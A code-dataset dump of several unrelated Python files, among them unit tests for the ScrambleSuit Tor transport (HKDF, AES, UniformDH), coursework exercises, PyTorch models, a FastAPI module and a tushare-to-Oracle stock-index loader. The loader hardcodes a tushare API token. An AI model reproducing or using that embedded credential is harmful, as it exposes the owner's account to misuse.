https://tools.ietf.org/html/rfc5869\n \"\"\"\n\n def setUp( self ):\n pass\n\n def extract( self, salt, ikm ):\n return Crypto.Hash.HMAC.new(salt, ikm, Crypto.Hash.SHA256).digest()\n\n def runHKDF( self, ikm, salt, info, prk, okm ):\n myprk = self.extract(salt, ikm)\n self.failIf(myprk != prk)\n myokm = mycrypto.HKDF_SHA256(myprk, info).expand()\n self.failUnless(myokm in okm)\n\n def test1_HKDF_TestCase1( self ):\n\n ikm = \"0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b\".decode('hex')\n salt = \"000102030405060708090a0b0c\".decode('hex')\n info = \"f0f1f2f3f4f5f6f7f8f9\".decode('hex')\n prk = (\"077709362c2e32df0ddc3f0dc47bba6390b6c73bb50f9c3122e\" + \\\n \"c844ad7c2b3e5\").decode('hex')\n okm = (\"3cb25f25faacd57a90434f64d0362f2a2d2d0a90cf1a5a4c5db\" + \\\n \"02d56ecc4c5bf34007208d5b887185865\").decode('hex')\n\n self.runHKDF(ikm, salt, info, prk, okm)\n\n def test2_HKDF_TestCase2( self ):\n\n ikm = (\"000102030405060708090a0b0c0d0e0f101112131415161718191a1b1c\" + \\\n \"1d1e1f202122232425262728292a2b2c2d2e2f30313233343536373839\" + \\\n \"3a3b3c3d3e3f404142434445464748494a4b4c4d4e4f\").decode('hex')\n salt =(\"606162636465666768696a6b6c6d6e6f707172737475767778797a7b7c\" + \\\n \"7d7e7f808182838485868788898a8b8c8d8e8f90919293949596979899\" + \\\n \"9a9b9c9d9e9fa0a1a2a3a4a5a6a7a8a9aaabacadaeaf\").decode('hex')\n info =(\"b0b1b2b3b4b5b6b7b8b9babbbcbdbebfc0c1c2c3c4c5c6c7c8c9cacbcc\" + \\\n \"cdcecfd0d1d2d3d4d5d6d7d8d9dadbdcdddedfe0e1e2e3e4e5e6e7e8e9\" + \\\n \"eaebecedeeeff0f1f2f3f4f5f6f7f8f9fafbfcfdfeff\").decode('hex')\n prk = (\"06a6b88c5853361a06104c9ceb35b45cef760014904671014a193f40c1\" + \\\n \"5fc244\").decode('hex')\n okm = (\"b11e398dc80327a1c8e7f78c596a49344f012eda2d4efad8a050cc4c19\" + \\\n \"afa97c59045a99cac7827271cb41c65e590e09da3275600c2f09b83677\" + \\\n \"93a9aca3db71cc30c58179ec3e87c14c01d5c1\" + \\\n \"f3434f1d87\").decode('hex')\n\n self.runHKDF(ikm, salt, info, prk, okm)\n\n def test3_HKDF_TestCase3( self ):\n ikm = \"0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b\".decode('hex')\n salt = \"\"\n info = \"\"\n prk = (\"19ef24a32c717b167f33a91d6f648bdf96596776afdb6377a\" + \\\n \"c434c1c293ccb04\").decode('hex')\n okm = (\"8da4e775a563c18f715f802a063c5a31b8a11f5c5ee1879ec\" + \\\n \"3454e5f3c738d2d9d201395faa4b61a96c8\").decode('hex')\n\n self.runHKDF(ikm, salt, info, prk, okm)\n\n def test4_CSPRNG( self ):\n self.failIf(mycrypto.strongRandom(10) == mycrypto.strongRandom(10))\n self.failIf(len(mycrypto.strongRandom(100)) != 100)\n\n def test5_AES( self ):\n plain = \"this is a test\"\n key = os.urandom(16)\n iv = os.urandom(8)\n\n crypter1 = mycrypto.PayloadCrypter()\n crypter1.setSessionKey(key, iv)\n crypter2 = mycrypto.PayloadCrypter()\n crypter2.setSessionKey(key, iv)\n\n cipher = crypter1.encrypt(plain)\n\n self.failIf(cipher == plain)\n self.failUnless(crypter2.decrypt(cipher) == plain)\n\nclass UniformDHTest( unittest.TestCase ):\n\n def setUp( self ):\n weAreServer = True\n self.udh = uniformdh.new(\"A\" * const.SHARED_SECRET_LENGTH, weAreServer)\n\n def test1_createHandshake( self ):\n handshake = self.udh.createHandshake()\n self.failUnless((const.PUBLIC_KEY_LENGTH +\n const.MARK_LENGTH +\n const.HMAC_SHA256_128_LENGTH) <= len(handshake) <=\n (const.MARK_LENGTH +\n const.HMAC_SHA256_128_LENGTH +\n const.MAX_PADDING_LENGTH))\n\n def test2_receivePublicKey( self ):\n buf = obfs_buf.Buffer(self.udh.createHandshake())\n\n def callback( masterKey ):\n self.failUnless(len(masterKey) == const.MASTER_KEY_LENGTH)\n\n self.failUnless(self.udh.receivePublicKey(buf, callback) == True)\n\n publicKey = self.udh.getRemotePublicKey()\n self.failUnless(len(publicKey) == const.PUBLIC_KEY_LENGTH)\n\n def test3_invalidHMAC( self ):\n # Make the HMAC invalid.\n handshake = self.udh.createHandshake()\n if handshake[-1] != 'a':\n handshake = handshake[:-1] + 'a'\n else:\n handshake = handshake[:-1] + 'b'\n\n buf = obfs_buf.Buffer(handshake)\n\n self.failIf(self.udh.receivePublicKey(buf, lambda x: x) == True)\n\nclass UtilTest( unittest.TestCase ):\n\n def test1_isValidHMAC( self ):\n self.failIf(util.isValidHMAC(\"A\" * const.HMAC_SHA256_128_LENGTH,\n \"B\" * const.HMAC_SHA256_128_LENGTH,\n \"X\" * const.SHA256_LENGTH) == True)\n self.failIf(util.isValidHMAC(\"A\" * const.HMAC_SHA256_128_LENGTH,\n \"A\" * const.HMAC_SHA256_128_LENGTH,\n \"X\" * const.SHA256_LENGTH) == False)\n\n def test2_locateMark( self ):\n self.failIf(util.locateMark(\"D\", \"ABC\") != None)\n\n hmac = \"X\" * const.HMAC_SHA256_128_LENGTH\n mark = \"A\" * const.MARK_LENGTH\n payload = mark + hmac\n\n self.failIf(util.locateMark(mark, payload) == None)\n self.failIf(util.locateMark(mark, payload[:-1]) != None)\n\n\nclass MockArgs( object ):\n uniformDHSecret = sharedSecret = ext_cookie_file = dest = None\n mode = 'socks'\n\n\nclass ScrambleSuitTransportTest( unittest.TestCase ):\n\n def setUp( self ):\n config = transport_config.TransportConfig( )\n config.state_location = const.STATE_LOCATION\n args = MockArgs( )\n suit = scramblesuit.ScrambleSuitTransport\n suit.weAreServer = False\n\n self.suit = suit\n self.args = args\n self.config = config\n\n self.validSecret = base64.b32encode( 'A' * const.SHARED_SECRET_LENGTH )\n self.invalidSecret = 'a' * const.SHARED_SECRET_LENGTH\n\n def test1_validateExternalModeCli( self ):\n \"\"\"Test with valid scramblesuit args and valid obfsproxy args.\"\"\"\n self.args.uniformDHSecret = self.validSecret\n\n self.assertTrue(\n super( scramblesuit.ScrambleSuitTransport,\n self.suit ).validate_external_mode_cli( self.args ))\n\n self.assertIsNone( self.suit.validate_external_mode_cli( self.args ) )\n\n def test2_validateExternalModeCli( self ):\n \"\"\"Test with invalid scramblesuit args and valid obfsproxy args.\"\"\"\n self.args.uniformDHSecret = self.invalidSecret\n\n with self.assertRaises( base.PluggableTransportError ):\n self.suit.validate_external_mode_cli( self.args )\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"isislovecruft/scramblesuit","sub_path":"unittests.py","file_name":"unittests.py","file_ext":"py","file_size_in_byte":7217,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"38"} +{"seq_id":"18103125326","text":"# Learn to Program: Crafting Quality Code\n# Week 1 - Restaurant Recommendation\n\n# The first step to solving the restaurant recommendations problem is \n# choosing data structures to store the information on restaurant prices, \n# ratings, and cuisines.\n\n# For the data see text file 'restaurant_small.txt'\n\n\"\"\"\n# dict of {str: int}\nname_to_rating = { 'Georgie Porgie': 87,\n 'Queen St. Cafe': 82,\n 'Dumplings R Us': 71,\n 'Mexican Grill': 85,\n 'Deep Fried Everything': 52} \n\n# dict of {str: list of str}\nprice_to_names = { '$': ['Queen St. Cafe', 'Dumplings R Us', 'Deep Fried Everything'],\n '$$': ['Mexican Grill'],\n '$$$': ['Georgie Porgie'],\n '$$$$': []} \n\n# dict of {str: list of str}\ncuisine_to_names = { 'Canadian': ['Georgie Porgie'],\n 'Pub Food': ['Georgie Porgie', 'Deep Fried Everything'],\n 'Malaysian': ['Queen St. Cafe'],\n 'Thai': ['Queen St. Cafe'],\n 'Chinese': ['Dumplings R Us'],\n 'Mexican': ['Mexican Grill']} \n\nWith this data, for a price of '$' and cuisines of ['Chinese', 'Thai'], we\nwould produce this list:\n\n # First the price and then the restaurant name because when the nested lists are sorted by the first value.\n # In this case price.\n [[82, 'Queen St. Cafe'], [71, 'Dumplings R Us']]\n\"\"\"\n\ndef recommend(file, price, cuisines_list):\n \"\"\"(file open for reading, str, list of str) -> list of list of str\n\n Find restaurant in file that are priced according to price and that are\n tagged with any of the items in cuisines_list. Return a list of lists of \n the form [ratings, restaurant name], sorted by ratings.\n \"\"\"\n\n # Read the file and build the data structures.\n name_to_rating, price_to_names, cuisine_to_names = read_restaurant(file)\n\n\n # Look up the restaurant names for the requested price.\n names_matching_price = price_to_names[price]\n\n\n # Now we have a list of restaurants in the right price range.\n # Get new list of restaurants that serve one of the cuisines.\n names_final = filter_by_cuisines(names_matching_price, cuisine_to_names, cuisines_list)\n\n\n # Now we have a list of restaurants that are in the right price range and serve the requested cuisine.\n # Need to look at ratings and sort this list.\n result = build_rating_list(name_to_rating, names_final)\n\n return result\n\n\ndef build_rating_list(name_to_rating, names_final):\n \"\"\"(dict of {str: int}, list of str) -> list of list of [int, str]\n\n Return a list of [rating%, restaurant name], sorted by rating%\n\n >>> name_to_rating = { 'Georgie Porgie': 87,\n 'Queen St. Cafe': 82,\n 'Dumplings R Us': 71,\n 'Mexican Grill': 85,\n 'Deep Fried Everything': 52}\n >>> names_final = ['Queen St. Cafe', 'Dumplings R Us']\n >>> build_rating_list(name_to_rating, names_final)\n [[82, 'Queen St. Cafe'], [71, 'Dumplings R Us']]\n \"\"\"\n\n result = list()\n\n # Go through final restaurant names and select rating from other dict.\n # Create list of lists with restaurant name and rating.\n for name in names_final:\n rating = name_to_rating[name]\n name_and_ratings = list()\n name_and_ratings.append([rating, name])\n result.append(name_and_ratings)\n\n result.sort(reverse=True)\n\n return result\n\n\ndef filter_by_cuisines(names_matching_price, cuisine_to_names, cuisines_list):\n \"\"\"(list of str, dict of {str: list of str}, list of str) -> list of str\n\n >>> names_matching_price = ['Queen St. Cafe', 'Dumplings R Us', 'Deep Fried Everything']\n >>> cuisine_to_names = { 'Canadian': ['Georgie Porgie'],\n 'Pub Food': ['Georgie Porgie', 'Deep Fried Everything'],\n 'Malaysian': ['Queen St. Cafe'],\n 'Thai': ['Queen St. Cafe'],\n 'Chinese': ['Dumplings R Us'],\n 'Mexican': ['Mexican Grill']} \n >>> cuisines_list = ['Chinese', 'Thai']\n >>> filter_by_cuisines(names_matching_price, cuisine_to_names, cuisines_list)\n ['Queen St. Cafe', 'Dumplings R Us']\n \"\"\"\n\n # List for restaurants which serve cuisines\n names_final = list()\n\n # Go through the cuisines you want to eat.\n for cuisine in cuisines_list:\n # Look for restaurants which serve the cuisines\n for name in cuisine_to_names[cuisine]:\n # If restaurant serves the cuisines add it the list\n if name in names_matching_price:\n names_final.append(name)\n\n\n return names_final\n\n\ndef read_restaurant(file):\n \"\"\"(file open for reading) -> (dict, dict, dict)\n\n Return a tuple of three dictionaries based on the information in the file:\n - a dict of {restaurant name: rating%}\n - a dict of {price: list of restaurant names}\n - a dict of {cuisine: list of restaurant names}\n \"\"\"\n\n name_to_rating = {}\n price_to_names = {'$': [], '$$': [], '$$$': [], '$$$$': []}\n cuisine_to_names = {}\n\n # Every 5 lines the restaurant changes in the text file.\n lines = 5\n\n # Read the whole text file.\n file_list = file.readlines()\n\n # Loop through the text file and read all data about one restaurant\n # Every 5 lines the data about one restaurant is done\n for i in range(len(file_list) // lines):\n name = file_list[i*lines].rstrip()\n rating = file_list[i*lines + 1].rstrip()\n price = file_list[i*lines + 2].rstrip()\n cuisine = file_list[i*lines + 3].rstrip()\n\n # Put data into dictionaries\n name_to_rating[name] = rating\n price_to_names[price].append(name)\n\n # Split the string of cuisines if restaurant servers more than one cuisine\n if cuisine.find(',') > 0:\n cuisine.replace(\" \", \"\")\n cuisines_list = cuisine.split(',')\n else:\n cuisines_list = [cuisine]\n\n # Loop through all cuisines and create seperate entry in dict for every cuisine\n for cuisine in cuisines_list:\n # If dictionary key does not exist yet create an empty list\n if cuisine not in cuisine_to_names: \n cuisine_to_names[cuisine] = list()\n\n cuisine_to_names[cuisine].append(name)\n\n\n return (name_to_rating, price_to_names, cuisine_to_names)\n\nif __name__ == '__main__':\n\n # Path to file filename\n path = '/home/tbfk/Documents/VSC/Git/Coursera/Crafting_Quality_Code_UniToronto/week1/'\n\n # The file containing the restaurant data.\n FILENAME = 'restaurant_small.txt'\n \n # Open file and close it once done\n with open(path + FILENAME, 'r') as f:\n\n # Get restaurant recommendation based on price and cuisines. \n result = recommend(f, '$', ['Chinese', 'Thai'])\n\n\n print(result)","repo_name":"bounty030/Coursera","sub_path":"Crafting_Quality_Code_UniToronto/week1_approaches/restaurant_rec.py","file_name":"restaurant_rec.py","file_ext":"py","file_size_in_byte":6876,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"31508164573","text":"import torch\nimport torch.nn as nn\nimport torch.optim as optim\n\nfrom torch.nn import utils\n\nfrom utils import to_device\nfrom utils import robot_optimizer\n\n_str_to_activation = {\n 'relu': nn.ReLU(),\n 'tanh': nn.Tanh(),\n 'leaky_relu': nn.LeakyReLU(),\n 'sigmoid': nn.Sigmoid(),\n 'selu': nn.SELU(),\n 'softplus': nn.Softplus()\n}\n\ndef get_size(size, kernel_size, padding, stride):\n return ((size - kernel_size + padding * 2) // stride) + 1\n\nclass QNetwork():\n \n def __init__(self, n_iter, net_params):\n self.n_layers = net_params[\"n_layers\"]\n self.input_size = net_params[\"input_size\"]\n self.n_input_channels = net_params[\"n_input_channels\"]\n self.n_channels = net_params[\"n_channels\"]\n self.kernel_size = net_params[\"kernel_size\"]\n self.stride = net_params[\"stride\"]\n self.padding = net_params[\"padding\"]\n \n self.activation = net_params[\"activation\"]\n \n self.gamma = net_params[\"gamma\"]\n \n self.q_net = to_device(self.build_nn())\n self.q_net_target = to_device(self.build_nn())\n \n self.grad_norm_clipping = net_params[\"grad_norm_clipping\"]\n self.optimizer_spec = robot_optimizer(n_iter)\n self.optimizer = optim.Adam(self.q_net.parameters())\n self.learning_rate_scheduler = optim.lr_scheduler.LambdaLR(self.optimizer, self.optimizer_spec.learning_rate_schedule)\n self.loss = nn.SmoothL1Loss() # AKA Huber loss\n\n self.alg = net_params[\"alg\"]\n \n def build_nn(self):\n if isinstance(self.activation, str):\n activation = _str_to_activation[self.activation]\n\n layers = []\n size = self.input_size\n in_n_channels = self.n_input_channels\n out_n_channels = self.n_channels\n for _ in range(self.n_layers):\n layers.append(nn.Conv2d(in_channels=in_n_channels, \n out_channels=out_n_channels, \n kernel_size=self.kernel_size, \n stride=self.stride, \n padding=self.padding))\n \n size = get_size(size, self.kernel_size, self.padding, self.stride)\n \n layers.append(activation)\n \n in_n_channels = self.n_channels\n out_n_channels = self.n_channels\n \n layers.append(nn.Conv2d(in_channels=out_n_channels, out_channels=1, kernel_size=1))\n \n self.output_size = size * size\n return nn.Sequential(*layers)\n \n def forward(self, state):\n return torch.flatten(self.q_net(state).detach())\n \n def update(self, states, actions, next_states, rewards, terminals):\n q_values = torch.flatten(self.q_net(states), start_dim=1)\n q_values = torch.gather(q_values, 1, actions.unsqueeze(1)).squeeze(1)\n \n # DQN\n if self.alg == \"dqn\":\n next_q_values, _ = torch.flatten(self.q_net_target(next_states), start_dim=1).max(dim=1)\n\n # Double DQN\n if self.alg == \"ddqn\":\n next_q_values = torch.flatten(self.q_net(next_states), start_dim=1)\n next_actions = torch.argmax(next_q_values, 1).unsqueeze(-1)\n next_q_values = torch.gather(torch.flatten(self.q_net_target(next_states), start_dim=1), 1, next_actions).squeeze(1)\n\n next_q_values = next_q_values.detach()\n \n target = rewards + self.gamma * next_q_values * (1.0 - terminals)\n target = target.detach()\n \n assert q_values.shape == target.shape\n loss = self.loss(q_values, target)\n \n self.optimizer.zero_grad()\n loss.backward()\n utils.clip_grad_value_(self.q_net.parameters(), self.grad_norm_clipping)\n self.optimizer.step()\n self.learning_rate_scheduler.step()\n return { \"loss\": loss.item(), \"q_values\": torch.mean(q_values).item(), \"target_q_values\": torch.mean(next_q_values).item() }\n \n def update_target_network(self):\n for target_param, param in zip(self.q_net_target.parameters(), self.q_net.parameters()):\n target_param.data.copy_(param.data)","repo_name":"Pietracoops/DeepRLProj","sub_path":"scripts/q_net.py","file_name":"q_net.py","file_ext":"py","file_size_in_byte":4186,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"22268256676","text":"# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, val=0, next=None):\n# self.val = val\n# self.next = next\nclass Solution:\n def isPalindrome(self, head: Optional[ListNode]) -> bool:\n op = ''\n pointer = head\n while pointer:\n op += str(pointer.val)\n pointer = pointer.next\n \n return op == op[::-1]\n ","repo_name":"sadiah7/Leetcode-solutions","sub_path":"234-palindrome-linked-list/234-palindrome-linked-list.py","file_name":"234-palindrome-linked-list.py","file_ext":"py","file_size_in_byte":408,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"20194134861","text":"'''\nIntegrated gradients are computed on the pyTorch in MODEL_PATH over the\ndataset in DATA_PATH and written to a csv in TARGET_PATH\n\n'''\n\nimport csv\n\nimport torch\nfrom torch import nn\nimport torch.nn.functional as F\nfrom torch.utils.data import DataLoader\nimport numpy as np\n\nfrom Datasets import AbsolutDataset\n\n\nNAME = 'd2_1ADQ_balanced'\nBASE_LINE = 'zero'\nDATA_PATH = 'train1ADQ_D2_balanced.csv'\nTARGET_PATH = f'./d2/{BASE_LINE}/'\nMODEL_PATH = 'model_d2_1ADQ_balanced.pt'\nDEVICE = 'cpu'\nINTERPOLATION_STEPS = 100\n\nclass TFModel(nn.Module):\n def __init__(self, input_size: int):\n super().__init__()\n self.input_size = input_size\n self.fc1 = nn.Linear(input_size, 10)\n self.fc2 = nn.Linear(10, 1)\n\n def forward(self, x):\n x = x.view(-1, self.input_size)\n x = F.relu(self.fc1(x))\n x = F.sigmoid(self.fc2(x))\n return x\n\nmodel = TFModel(11*20).to(DEVICE)\nmodel.load_state_dict(torch.load(MODEL_PATH))\ndataset = AbsolutDataset(DATA_PATH, device=DEVICE)\n# data = DataLoader(dataset, batch_size=1, shuffle=True, num_workers=0,\n# drop_last=False, prefetch_factor=2)\ndata = DataLoader(dataset, batch_size=1, shuffle=False, num_workers=0,\n drop_last=False, prefetch_factor=2)\n\n# Integrated Gradients\n\n# create baseline\nif BASE_LINE == 'zero':\n baseline = torch.zeros((11, 20), device=DEVICE)\nif BASE_LINE == 'uniform':\n baseline = torch.ones((11, 20), device=DEVICE) / 20\nif BASE_LINE == 'halv':\n baseline = torch.ones((11, 20), device=DEVICE) / 2\nif BASE_LINE == 'average':\n baseline = torch.zeros((11, 20), device=DEVICE)\n for data_point, _ in data:\n baseline += data_point.view(11, 20)\n baseline /= len(data)\nbaseline.requires_grad = False\n\n\nmodel.requires_grad = False\nresults = torch.zeros((len(data), 11, 20), device=DEVICE)\nreal_prediction = torch.zeros((len(data)), device=DEVICE)\nfor i, (data_point, label) in enumerate(data):\n for lin_step in torch.linspace(0, 1, INTERPOLATION_STEPS):\n polation = torch.lerp(baseline, data_point.type(torch.FloatTensor), lin_step).to(DEVICE)\n polation.requires_grad = True\n predict = model(polation)\n predict.backward()\n results[i, :, :] += polation.grad.view(11, 20)\n with torch.no_grad():\n real_prediction[i] = model(data_point.type(torch.FloatTensor)).detach()\n results[i, :, :] *= (data_point - baseline).view(11, 20) / INTERPOLATION_STEPS\n\n\n# torch.save(dataset.labels.to('cpu'), f'{TARGET_PATH}label_{NAME}_io.pt')\n# torch.save(dataset.dataset.to('cpu'), f'{TARGET_PATH}data_{NAME}_io.pt')\n# torch.save(results.to('cpu'), f'{TARGET_PATH}gi_{NAME}_io.pt')\n# np.save(f'{TARGET_PATH}gi_{NAME}_io.npy', results.to('cpu').numpy())\n# torch.save(real_prediction.to('cpu'), f'{TARGET_PATH}error_{NAME}_io.pt')\n\nOUT_PATH = f'{TARGET_PATH}{NAME}_io.csv'\nwith open(DATA_PATH, 'r') as file:\n reader = csv.reader(file, delimiter='\\t')\n next(reader)\n with open(OUT_PATH, 'w', newline='') as out_file:\n writer = csv.writer(out_file, delimiter='\\t')\n writer.writerow(['Slide', 'label', 'seqAGEpitope',\n 'interMaskABParatope', 'segmentedABParatope', 'prediction', '11x20IG'])\n for i, line in enumerate(reader):\n out_line = line + [str(real_prediction[i].tolist())]\\\n + results[i, :, :].view(-1).tolist()\n writer.writerow(out_line)\n","repo_name":"csi-greifflab/Absolut","sub_path":"scripts/11_VAE_ESM-1b/IG/ig.py","file_name":"ig.py","file_ext":"py","file_size_in_byte":3432,"program_lang":"python","lang":"en","doc_type":"code","stars":82,"dataset":"github-code","pt":"38"} +{"seq_id":"20156886437","text":"def findMedianSortedArrays(A: list[int], B: list[int]) -> float:\n c = [0] * (len(A) + len(B))\n i = k = n = 0\n while i < len(A) and k < len(B):\n if A[i] <= B[k]:\n c[n] = A[i]\n i += 1\n n += 1\n else:\n c[n] = B[k]\n k += 1\n n += 1\n while i < len(A):\n c[n] = A[i]\n i += 1\n n += 1\n while k < len(B):\n c[n] = B[k]\n k += 1\n n += 1\n if len(c) % 2 == 0:\n index = (len(c) // 2) - 1\n result = (c[index] + c[index + 1]) / 2.0\n return result\n else:\n index = len(c) // 2\n result = c[index] * 1.0\n return result\n\n\nif __name__ == \"__main__\":\n print(findMedianSortedArrays([1, 3], [3, 4]))\n\n","repo_name":"Kuzan19/leetcode","sub_path":"Median of Two Sorted Arrays.py","file_name":"Median of Two Sorted Arrays.py","file_ext":"py","file_size_in_byte":760,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"16525066263","text":"import torch.nn as nn\r\nimport torch\r\nimport pandas as pd\r\nimport numpy as np\r\nimport torch.optim as optim\r\n\r\ndados=pd.read_csv(\"auto_mpg_ajeitado.csv\")\r\nx=dados.drop(\"mpg\",axis=1)\r\ny=dados[\"mpg\"]\r\n\r\nfrom sklearn.model_selection import train_test_split\r\nx_treino,x_teste,y_treino,y_teste=train_test_split(x,y,test_size=0.25)\r\nx_treino=torch.from_numpy(x_treino.values).float()\r\nx_teste=torch.from_numpy(x_teste.values).float()\r\ny_treino=torch.from_numpy(y_treino.values).float()\r\ny_teste=torch.from_numpy(y_teste.values).float()\r\n\r\n\r\nclass modelo(nn.Module):\r\n def __init__(self):\r\n super(modelo, self).__init__()\r\n \r\n self.entrada=nn.Linear(7,100)\r\n self.camada1=nn.Linear(100,80)\r\n self.saida=nn.Linear(80,1)\r\n \r\n def forward(self,X):\r\n X=nn.BatchNorm1d(7)(X)\r\n X=nn.ReLU()(self.entrada(X))\r\n X=nn.ReLU()(self.camada1(X))\r\n y=self.saida(X)\r\n \r\n return y\r\n\r\nrede_neural=modelo()\r\n \r\nerro=nn.MSELoss()\r\notimizador=optim.SGD(rede_neural.parameters(), lr=0.01)\r\n\r\nfor i in range(100):\r\n otimizador.zero_grad()\r\n predicao=rede_neural(x_treino)\r\n perda=erro(predicao,y_treino)\r\n perda.backward()\r\n otimizador.step()\r\n \r\n print(\"Iteração \",i+1,\"Perda: \",torch.sqrt(perda))\r\n\r\n#Predicao\r\nrede_neural(x_teste) \r\ntorch.sqrt(erro(rede_neural(x_teste),y_teste))","repo_name":"AlbertoRodrigues/Pytorch","sub_path":"primeira_rede_torch.py","file_name":"primeira_rede_torch.py","file_ext":"py","file_size_in_byte":1361,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"22080626578","text":"from typing import AsyncGenerator, Callable, Generator, Optional\n\nfrom arq import create_pool\nfrom fastapi import Query\nfrom redcap.project import Project\nfrom sqlalchemy import Select\nfrom sqlalchemy.orm import Session\n\nfrom rss.db.session import SessionLocal\nfrom rss.models.event import Event\nfrom rss.models.instrument import Instrument\nfrom rss.rqueue.worker import RedisQueue\nfrom rss.lib.redcap_interface import redcap_environment\nfrom rss.view_models import event, instrument\n\n########################################################\n# Core Dependencies\n########################################################\n\n\nclass PaginatedParams:\n def __init__(self, page: int = Query(1, ge=1), per_page: int = Query(2500, ge=0)):\n self.page = page\n self.per_page = per_page\n self.limit = per_page * page\n self.offset = (page - 1) * per_page\n\n\ndef get_db() -> Generator:\n db = SessionLocal()\n # db.current_user_id = None\n try:\n yield db\n finally:\n db.close()\n\n\ndef get_project() -> Generator:\n api_url, api_key = redcap_environment()\n project = Project(api_url, api_key)\n try:\n yield project\n finally:\n project = None\n\n\nasync def get_queue() -> AsyncGenerator:\n queue = await create_pool(RedisQueue)\n try:\n yield queue\n finally:\n await queue.close()\n\n\n########################################################\n# Overrideable Dependencies\n########################################################\n\n\ndef get_event_calculator() -> (\n Optional[\n Callable[\n [Session, Select[tuple[Event]], list[str], PaginatedParams],\n list[event.Event],\n ]\n ]\n):\n return None\n\n\ndef get_instrument_calculator() -> (\n Optional[\n Callable[\n [Session, Select[tuple[Instrument]], list[str], PaginatedParams],\n list[instrument.Instrument],\n ]\n ]\n):\n return None\n","repo_name":"bbi-lab/redcap-support-core","sub_path":"src/rss/deps.py","file_name":"deps.py","file_ext":"py","file_size_in_byte":1927,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"40151398192","text":"# -*- coding=utf-8 -*-\n# 获取深交所指数数据\n\nimport urllib\nimport urllib.request\nfrom urllib import request\nimport uuid\nimport pandas as pd\nimport time\nfrom multiprocessing import Pool\nimport uuid\nimport os\nimport numpy as np\nimport cProfile\nimport tushare as ts\n\n\n# 导入连接文件\nimport sys\nsys.path.append(\"..\")\nimport common.GetOracleConn as conn\n\n# 获取全局数据库连接\ncursor = conn.getConfig()\n\n\n# 获取深圳指数\ndef get_data(code, end_date):\n\tts.set_token('afd51ad37bf91b4c98f871fa676d4f67fcd92c8bcbfb12fad231f831')\n\tpro = ts.pro_api()\n\tdf = pro.index_daily(ts_code=str(code)+'.SZ', start_date='19901219', end_date='20181031')\n\treturn df\n\n\n# 存入数据\ndef insert_data(df, code):\n\t# 建表\n\tif not is_table_exist(code): # 如果表不存在,先创建表\n\t\tcreate_table(code) # 如果表不存在,先建表\n\telse: # 存在则截断\n\t\tcursor.execute(\"truncate table stock_\" + code + \"_SZSE\")\n\t\tprint('表已清空')\n\n\tprint(df.head())\n\tdf = df.replace('None', 0)\n\n\tdf2 = pd.DataFrame()\n\tdf2['uuid'] = [uuid.uuid1() for l in range(0, len(df))] # 添加uuid\n\tdf2['code'] = str(code)\n\tdf2['sdate'] = df['trade_date']\n\tdf2['close'] = df['close']\n\tdf2['open'] = df['open']\n\tdf2['high'] = df['high']\n\tdf2['low'] = df['low']\n\tdf2['y_close'] = df['pre_close']\n\tdf2['p_change'] = df['change']\n\tdf2['P_CHANGE_RATE'] = df['pct_chg']\n\tdf2['VOLUME'] = df['vol']\n\tdf2['amount'] = df['amount']\n\n\t# 入库\n\tfor k in range(0, len(df2)):\n\t\tdf3 = df2[k:k + 1]\n\t\tsql = \"insert into stock_\" + str(code) + \"_SZSE(uuid, code, sdate, close, open, high, \\\n\t\t\tlow, y_close, p_change, P_CHANGE_RATE, VOLUME, amount) \\\n\t\t\tvalues(:uuid, :code, to_date(:sdate, 'yyyy-MM-dd'), :close, :open, :high, \\\n\t\t\t:low, :y_close, :p_change, :P_CHANGE_RATE, :VOLUME, :amount)\"\n\n\t\tcursor.execute(sql, (str(list(df3['uuid'])[0]),\n\t\t\t\t\t\t\t str(list(df3['code'])[0]),\n\t\t\t\t\t\t\t str(list(df3['sdate'])[0]),\n\t\t\t\t\t\t\t str(list(df3['close'])[0]),\n\t\t\t\t\t\t\t str(list(df3['open'])[0]),\n\t\t\t\t\t\t\t str(list(df3['high'])[0]),\n\t\t\t\t\t\t\t str(list(df3['low'])[0]),\n\t\t\t\t\t\t\t str(list(df3['y_close'])[0]),\n\t\t\t\t\t\t\t str(list(df3['p_change'])[0]),\n\t\t\t\t\t\t\t str(list(df3['P_CHANGE_RATE'])[0]),\n\t\t\t\t\t\t\t str(list(df3['VOLUME'])[0]),\n\t\t\t\t\t\t\t str(list(df3['amount'])[0])))\n\t\tcursor.execute(\"commit\")\n\t\tprint(\"插入成功\")\n\n\n# 判断表是否已存在\ndef is_table_exist(code):\n\ttable = \"STOCK_\" + code + \"_SZSE\"\n\tsql = \"select table_name from user_tables\"\n\trs = cursor.execute(sql)\n\tresult = rs.fetchall()\n\ttables = [i[0] for i in result]\n\tprint(table)\n\tprint(tables.__contains__(table))\n\treturn tables.__contains__(table)\n\n\n# 建表\ndef create_table(code):\n\tsql = \"CREATE TABLE STOCK_\" + code + \"_SZSE\" + \\\n\t\"\"\"(uuid varchar2(80) primary key,\n\t\tcode varchar2(20),\n\t\tsdate date,\n\t\tclose number(20, 4),\n\t\topen number(20, 4),\n\t\thigh number(20, 4),\n\t\tlow number(20, 4),\n\t\ty_close number(20, 4),\n\t\tp_change number(20, 4),\n\t\tP_CHANGE_RATE number(20, 4),\n\t\tVOLUME number(20, 4),\n\t\tamount number(20, 4))\"\"\"\n\tcursor.execute(sql)\n\t# 添加注释\n\tcomments = [\"COMMENT ON TABLE STOCK_\" + code + \"_SZSE IS '深证指数'\",\n\t\t\"COMMENT ON COLUMN STOCK_\" + code + \"_SZSE.UUID IS 'UUID'\",\n\t\t\"COMMENT ON COLUMN STOCK_\" + code + \"_SZSE.SDATE IS '日期'\",\n\t\t\"COMMENT ON COLUMN STOCK_\" + code + \"_SZSE.CODE IS '股票代码'\",\n\t\t\"COMMENT 